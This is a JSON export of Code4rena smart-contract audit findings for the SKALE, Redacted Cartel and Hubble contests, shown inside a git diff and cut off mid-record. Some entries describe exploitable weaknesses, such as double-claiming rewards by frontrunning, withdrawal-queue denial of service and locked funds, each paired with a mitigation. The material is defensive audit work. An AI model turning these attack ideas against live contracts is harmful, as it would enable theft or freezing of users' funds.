"QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/66", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/65", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "Loss of pending messages (if any) in case removeConnectedChain is called", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/63", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-skale-findings", "body": "Loss of pending messages (if any) in case removeConnectedChain is called"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/61", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/60", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "[WP-H3] S2S Transfer from the origin schain to another schain with automatic deploy disabled can cause funds to be frozen", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/59", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "[WP-H3] S2S Transfer from the origin schain to another schain with automatic deploy disabled can cause funds to be frozen"}, {"title": "[WP-H2] When transferring tokens native on SKALE to Ethereum with `TokenManagerERC20.exitToMainERC20()`, the tokens on the schain will be frozen on `TokenManagerERC20`, but they will not receive tokens on Ethereum", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/58", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-02-skale-findings", "body": "[WP-H2] When transferring tokens native on SKALE to Ethereum with `TokenManagerERC20.exitToMainERC20()`, the tokens on the schain will be frozen on `TokenManagerERC20`, but they will not receive tokens on Ethereum"}, {"title": "[WP-H1] Transactions can be replayed when a connectedChain is removed and then reconnected", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/57", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-02-skale-findings", "body": "[WP-H1] Transactions can be replayed when a connectedChain is removed and then reconnected"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/56", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/55", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/51", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "Not compatible with Rebasing/Deflationary/Inflationary tokens", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/50", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "Not compatible with Rebasing/Deflationary/Inflationary tokens"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/48", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/47", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/45", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "Division by zero when transmitting message array with zero length", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/41", "labels": ["bug", "G (Gas Optimization)", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "Division by zero when transmitting message array with zero length"}, {"title": "transferredAmount on mainnet can be drained if a malicious account can mint more tokens on Schain", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/38", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "transferredAmount on mainnet can be drained if a malicious account can mint more tokens on Schain"}, {"title": "Centralisation Risk: Admin Role of `TokenManagerEth` can Rug Pull All Eth from the Bridge", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/35", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-02-skale-findings", "body": "Centralisation Risk: Admin Role of `TokenManagerEth` can Rug Pull All Eth from the Bridge"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/34", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/32", "labels": ["bug", "duplicate", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/31", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/30", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/29", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "Gas Pricing Can Be Used To Extort Funds From Users of SChain Owner", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/28", "labels": ["bug", "3 (High Risk)", "disagree with severity"], "target": "2022-02-skale-findings", "body": "Gas Pricing Can Be Used To Extort Funds From Users of SChain Owner"}, {"title": "NFT owner can change tokenURI", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/26", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "NFT owner can change tokenURI"}, {"title": "Reentrancy in `MessageProxyForSchain` leads to replay attacks", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/24", "labels": ["bug", "3 (High Risk)", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "Reentrancy in `MessageProxyForSchain` leads to replay attacks"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/23", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "BURNER_ROLE can burn any amount of EthErc20 from an arbitrary address", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/16", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "BURNER_ROLE can burn any amount of EthErc20 from an arbitrary address"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/13", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/9", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "TokenManagerERC20.sol uses transferFrom() instead of safeTransferFrom()", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/8", "labels": ["bug", "2 (Med Risk)", "disagree with severity", "sponsor disputed"], "target": "2022-02-skale-findings", "body": "TokenManagerERC20.sol uses transferFrom() instead of safeTransferFrom()"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/5", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/3", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-skale-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-skale-findings/issues/2", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-skale-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/123", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Reentrancy in `depositBribeERC20` function", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/122", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-redacted-cartel-findings", "body": "Reentrancy in `depositBribeERC20` function"}, {"title": "Users Can Frontrun Calls to `updateRewardsMetadata()` And Claim Tokens Twice", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/118", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/RewardDistributor.sol#L97-L119 https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/RewardDistributor.sol#L127-L209 # Vulnerability details ## Impact The `updateRewardsMetadata()` function is called by the `BribeVault` contract by the admin role. The function will take a list of distributions which are used to update the associated reward metadata. It is expected that the merkle root will be updated to correctly identify which claimers have already claimed tokens. `reward.updateCount` is incremented to reset the claimed tracker, allowing users that may have previously claimed, to claim their updated reward. However, there is potential for mis-use if users frontrun calls to `updateRewardsMetadata()` and claim their reward after the new merkle root has been calculated and updated by the admin role. This may allow the claimer to double claim their rewards or lead to a loss in rewards if the reward metadata completely replaces the previous list of claimers. ## Proof of Concept https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/RewardDistributor.sol#L97-L119 https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/RewardDistributor.sol#L127-L209 ## Tools Used Manual code review. ## Recommended Mitigation Steps Consider implementing a delay where users cannot claim rewards before a call to `updateRewardsMetadata()` is made. This should ensure the admin role can construct a merkle tree based on the most up-to-date and correct data. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/117", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/116", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/115", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Manipulations of setFee", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/113", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-02-redacted-cartel-findings", "body": "Manipulations of setFee"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/111", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/99", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/97", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "`DEPOSITOR_ROLE` can manipulate `b.amount` value", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/95", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-02-redacted-cartel-findings", "body": "`DEPOSITOR_ROLE` can manipulate `b.amount` value"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/94", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "[WP-H2] Improper control over the versions of distributions' metadata may lead to repeated claims of rewards", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/89", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-redacted-cartel-findings", "body": "[WP-H2] Improper control over the versions of distributions' metadata may lead to repeated claims of rewards"}, {"title": "[WP-H0] `DEFAULT_ADMIN_ROLE` of `BribeVault` can steal tokens from users' wallets", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/86", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-redacted-cartel-findings", "body": "[WP-H0] `DEFAULT_ADMIN_ROLE` of `BribeVault` can steal tokens from users' wallets"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/84", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/83", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/79", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/78", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "fees can be any amount", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/74", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-02-redacted-cartel-findings", "body": "fees can be any amount"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/72", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/71", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/66", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/63", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/59", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/53", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/50", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "ThecosomataETH: Oracle price can be better secured (freshness + tamper-resistance)", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/49", "labels": ["bug", "duplicate", "2 (Med Risk)"], "target": "2022-02-redacted-cartel-findings", "body": "ThecosomataETH: Oracle price can be better secured (freshness + tamper-resistance)"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/47", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/46", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/42", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/41", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Admin Privilege - Owner can rug via `ThecosomataETH.withdraw`", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/39", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-redacted-cartel-findings", "body": "Admin Privilege - Owner can rug via `ThecosomataETH.withdraw`"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/37", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Wrong slippage check", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/35", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-redacted-cartel-findings", "body": "Wrong slippage check"}, {"title": "Distributions must not match actual bribes", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/33", "labels": ["bug", "2 (Med Risk)"], "target": "2022-02-redacted-cartel-findings", "body": "Distributions must not match actual bribes"}, {"title": "`transferBribes` can revert", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/32", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-redacted-cartel-findings", "body": "`transferBribes` can revert"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/28", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/27", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/26", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/19", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-redacted-cartel-findings", "body": "QA report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/17", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/16", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "transferBribes could transfer before proposal deadline + Input validation", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/14", "labels": ["bug", "2 (Med Risk)", "disagree with severity"], "target": "2022-02-redacted-cartel-findings", "body": "transferBribes could transfer before proposal deadline + Input validation"}, {"title": "Rewards can be lost", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/13", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-redacted-cartel-findings", "body": "Rewards can be lost"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/12", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "Depositor can spend funds of another Depositor", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/11", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-redacted-cartel-findings", "body": "Depositor can spend funds of another Depositor"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/8", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "Gas Optimizations"}, {"title": "Changing `bribeVault` in `RewardDistributor.sol` will Lock Current ETH Rewards", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/7", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/RewardDistributor.sol#L178-#L182 https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/RewardDistributor.sol#L65-#L73 # Vulnerability details ## Impact Claiming of the ETH native currency requires `token` to be set to `bribeVault`. If the `bribeVault` is modified in `setBribeVault()` then users who have ETH rewards will now be considered to have `ERC20(bribeVault)` tokens. Since `bribeVault` is not an ERC20 token the `transfer()` call will fail and the users will not be able to claim their funds. ## Recommended Mitigation Steps Consider removing the functionality to change the `bribeVault` or ensuring all funds have been withdraw i.e. `balanceOf(address(this)) == 0` before changing the `bribeVault`. "}, {"title": "SafeERC20.sol is imported but not used in the transferBribes() function ", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/4", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/BribeVault.sol#L296 # Vulnerability details ## Impact In BribeVault.sol the transferBribes() function uses token.transfer() instead of token.safeTransfer. Tokens that don\u2019t correctly implement the latest EIP20 spec, like USDT, will be unusable in the protocol as they revert the transaction because of the missing return value. The fact that the SafeERC20.sol library is imported at the top of the BribeVault.sol implies that safeTransfer should be being used but may have been forgotten. ## Proof of Concept https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/BribeVault.sol#L296 ## Tools Used Manual code review ## Recommended Mitigation Steps It's recommended to use OpenZeppelin\u2019s SafeERC20 versions with the safeTransfer and safeTransferFrom functions that handle the return value check as well as non-standard-compliant tokens. "}, {"title": "QA report", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/3", "labels": ["bug", "QA (Quality Assurance)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "QA report"}, {"title": "Send ether with call instead of transfer.", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/2", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-redacted-cartel-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/RewardDistributor.sol#L181 # Vulnerability details ## Impact Use call instead of transfer to send ether. And return value must be checked if sending ether is successful or not. Sending ether with the transfer is no longer recommended. ## Proof of Concept https://github.com/code-423n4/2022-02-redacted-cartel/blob/main/contracts/RewardDistributor.sol#L181 ## Tools Used review ## Recommended Mitigation Steps (bool result, ) = payable(_account).call{value: _amount}(\"\"); require(result, \"Failed to send Ether\"); "}, {"title": "DEPOSITOR_ROLE can be granted by the deployer of BribeVault and transfer briber's approved ERC20 tokens to bribeVault by specifying any bribeIdentifier and rewardIdentifier", "html_url": "https://github.com/code-423n4/2022-02-redacted-cartel-findings/issues/1", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-redacted-cartel-findings", "body": "DEPOSITOR_ROLE can be granted by the deployer of BribeVault and transfer briber's approved ERC20 tokens to bribeVault by specifying any bribeIdentifier and rewardIdentifier"}, {"title": "Governance issue - robee", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/140", "labels": ["2 (Med Risk)"], "target": "2022-02-hubble-findings", "body": "Governance issue - robee"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/135", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/134", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/131", "labels": ["bug", "QA (Quality Assurance)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "QA Report"}] \ No newline at end of file diff --git a/results/codearena_findings_13.json b/results/codearena_findings_13.json new file mode 100644 index 0000000..d32bc5e --- /dev/null +++ b/results/codearena_findings_13.json @@ -0,0 +1 @@ +[{"title": "All AMMs have to be past nextFundingTime to update", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/130", "labels": ["bug", "2 (Med Risk)", "resolved", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/ed1d885d5dbc2eae24e43c3ecbf291a0f5a52765/contracts/AMM.sol#L348 # Vulnerability details # Impact settleFunding calls will revert until all AMMs are ready to be updated. # Proof of Concept 1. AMM 1 has a nextFundingTime of now. AMM 2 has a nextFundingTime in 30 minutes. AMM 1 won't be able to be updated until after AMM 2's nextFundingTime elapses. # Mitigation You shouldn't revert at the place mentioned in the links to affected code. Just return so that the other AMMs can still get updated. "}, {"title": "After debt seizure from InsuranceFund, user can dilute all past participants.", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/129", "labels": ["bug", "2 (Med Risk)", "sponsor disputed"], "target": "2022-02-hubble-findings", "body": "After debt seizure from InsuranceFund, user can dilute all past participants."}, {"title": "Assets sent from MarginAccount to InsuranceFund will be locked forever", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/128", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/ed1d885d5dbc2eae24e43c3ecbf291a0f5a52765/contracts/MarginAccount.sol#L377 # Vulnerability details # Impact Assets sent from MarginAccount to InsuranceFund will be locked forever # Proof of Concept The insurance fund doesn't have a way to transfer non-vusd out of the contract. Assets transferred to the InsuranceFund will be locked forever. # Mitigation Have a way for governance to sweep tokens to swap them. "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/126", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/125", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/124", "labels": ["bug", "QA (Quality Assurance)", "disagree with severity", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/120", "labels": ["bug", "G (Gas Optimization)", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "Gas Optimizations"}, {"title": "denial fo service", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/119", "labels": ["bug", "3 (High Risk)", "disagree with severity", "resolved", "sponsor confirmed"], "target": "2022-02-hubble-findings", "body": "# Lines of code https://github.com/code-423n4/2022-02-hubble/blob/main/contracts/VUSD.sol#L53 # Vulnerability details processWithdrawals can process limited amount in each call. an attacker can push to withdrawals enormous amount of withdrawals with amount = 0. in order to stop the dos attack and process the withdrawal, the governance needs to spend as much gas as the attacker. if the governance doesn't have enough money to pay for the gas, the withdrawals can't be processed. ## Proof of Concept Alice wants to attack vusd, she spend 1millions dollars for gas to push as many withdrawals of amount = 0 as she can. if the governance wants to process the deposits after alices empty deposits, they also need to spend at least 1 million dollars for gas in order to process alice's withdrawals first. but the governance doesn't have 1 million dollar so the funds will be locked. ## Recommended Mitigation Steps set a minimum amount of withdrawal. e.g. 1 dollar ``` function withdraw(uint amount) external { require(amount >= 10 ** 6); burn(amount); withdrawals.push(Withdrawal(msg.sender, amount)); } ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-02-hubble-findings/issues/118", "labels": ["bug", "duplicate", "QA (Quality 